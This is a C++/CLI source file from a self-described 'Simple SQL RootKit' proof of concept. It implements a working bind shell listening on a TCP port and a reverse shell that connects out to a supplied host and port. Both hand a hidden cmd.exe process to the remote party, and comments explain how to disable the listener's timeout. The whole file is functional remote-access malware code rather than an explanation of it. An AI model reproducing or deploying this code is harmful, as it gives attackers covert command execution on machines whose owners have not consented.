// SSRK_Shell.cpp  (Simple SQL RootKit)
// ------------------------------------
// Primary shell class functions for SSRK

#include "stdafx.h"
#include "SSRK.h"

// Starts a shell on a listening TCP socket
void SSRK::Shell::StartLocalShell(int _iPort, bool _bSecure)
{
	Stopwatch^ _swTimer = gcnew Stopwatch();									// ## Comment this out if you don't want a listening shell to timeout
	_swTimer->Start();

	// Create the listening server
	TcpListener^ _socket = gcnew TcpListener(IPAddress::Any,_iPort);
	_socket->Start();

	// Server loop
	while(TACOS_RULE)
	{
		// Determine if an incoming connection is available
		if(_socket->Pending())
		{
			// Accept incoming connections
			TcpClient^ _cliSock = _socket->AcceptTcpClient();

			// New connection accepted, create client thread
			Thread^ _thrSock = gcnew Thread(gcnew ParameterizedThreadStart(Shell::ShellThread));
			_thrSock->Start(_cliSock);
			break;
		}
		// Check for timeout
		if(CLIENT_TIME_OUT <= _swTimer->ElapsedMilliseconds)					// ## Comment this out if you don't want a listening shell to timeout
			break;																// ## Comment this out if you don't want a listening shell to timeout
	}
	// Only listen for one client to be safe (IO issues if we spawn more than one [hey, this is POC written in 20 minutes, deal with it])
	_swTimer->Stop();															// ## Comment this out if you don't want a listening shell to timeout
	_socket->Stop();

	return;
}

// Starts a reverse shell to the specified host/port
void SSRK::Shell::StartRemoteShell(String^ _sHost, int _iPort, bool _bSecure)
{
	// Create remote connection
	TcpClient^ _socket = gcnew TcpClient(_sHost,_iPort);
	
	// Create the client thread
	TcpClient^ _cliSock = (TcpClient^)_socket;
	Thread^ _thrSock = gcnew Thread(gcnew ParameterizedThreadStart(Shell::ShellThread));
	_thrSock->Start(_cliSock);

	return;
}

// Handles a shell client connection
void SSRK::Shell::ShellThread(Object ^_cliObject)
{
	TcpClient^ _cliSock = (TcpClient^)_cliObject;
	
	StringBuilder^ _strInput = gcnew StringBuilder();

	NetworkStream^ _netStream = _cliSock->GetStream();

	// Create the stream reader and writer
	_sReader = gcnew StreamReader(_netStream);
	_sWriter = gcnew StreamWriter(_netStream);

	// Create the cmd.exe process for the shell
	Process^ _cmdProcess = gcnew Process();
	_cmdProcess->StartInfo->FileName = "cmd.exe";
	_cmdProcess->StartInfo->CreateNoWindow = true;
	_cmdProcess->StartInfo->UseShellExecute = false;
	_cmdProcess->StartInfo->RedirectStandardOutput = true;
	_cmdProcess->StartInfo->RedirectStandardInput = true;
	_cmdProcess->StartInfo->RedirectStandardError = true;

	_cmdProcess->OutputDataReceived += gcnew DataReceivedEventHandler(ShellIOoutFunc);
	_cmdProcess->ErrorDataReceived += gcnew DataReceivedEventHandler(ShellIOerrFunc);
	
	_cmdProcess->Start();
	_cmdProcess->BeginOutputReadLine();
	_cmdProcess->BeginErrorReadLine();
		
	// Client loop
	while(TACOS_RULE)
	{
		//!! Figure out why client hang-up isn't getting caught

		if(_strInput->Append(_sReader->ReadLine()) == nullptr)
			break;
		_strInput->Append("\n");
		if(_strInput->ToString()->LastIndexOf("terminate") >= 0)
			break;
		if(_strInput->ToString()->LastIndexOf("exit") >= 0)
			break;
		_cmdProcess->StandardInput->WriteLine(_strInput);
		_strInput->Remove(0,_strInput->Length);

		// New
		if(_cmdProcess->HasExited)
			break;
		if(!_cliSock->Client->Poll(-1,SelectMode::SelectWrite))
			break;

		Thread::Sleep(0);
	}
	_sReader->Close();
	_sWriter->Close();
	if(!_cmdProcess->HasExited)
		_cmdProcess->Kill();
	if(_cliSock->Connected)
		_cliSock->Close();

	return;
}

// Handles cmd shell IO data
void SSRK::Shell::ShellIOoutFunc(Object^ _comObject, DataReceivedEventArgs^ _dreas)
{
	StringBuilder^ _strOutput = gcnew StringBuilder();
	if(!String::IsNullOrEmpty(_dreas->Data))
	{
		_strOutput->Append(_dreas->Data);
		_sWriter->WriteLine(_strOutput);
		_sWriter->Flush();
	}
	return;
}

// Handles cmd shell IO data
void SSRK::Shell::ShellIOerrFunc(Object^ _comObject, DataReceivedEventArgs^ _dreas)
{
	StringBuilder^ _strOutput = gcnew StringBuilder();
	if(!String::IsNullOrEmpty(_dreas->Data))
	{
		_strOutput->Append(_dreas->Data);
		_sWriter->WriteLine(_strOutput);
		_sWriter->Flush();
	}
	return;
}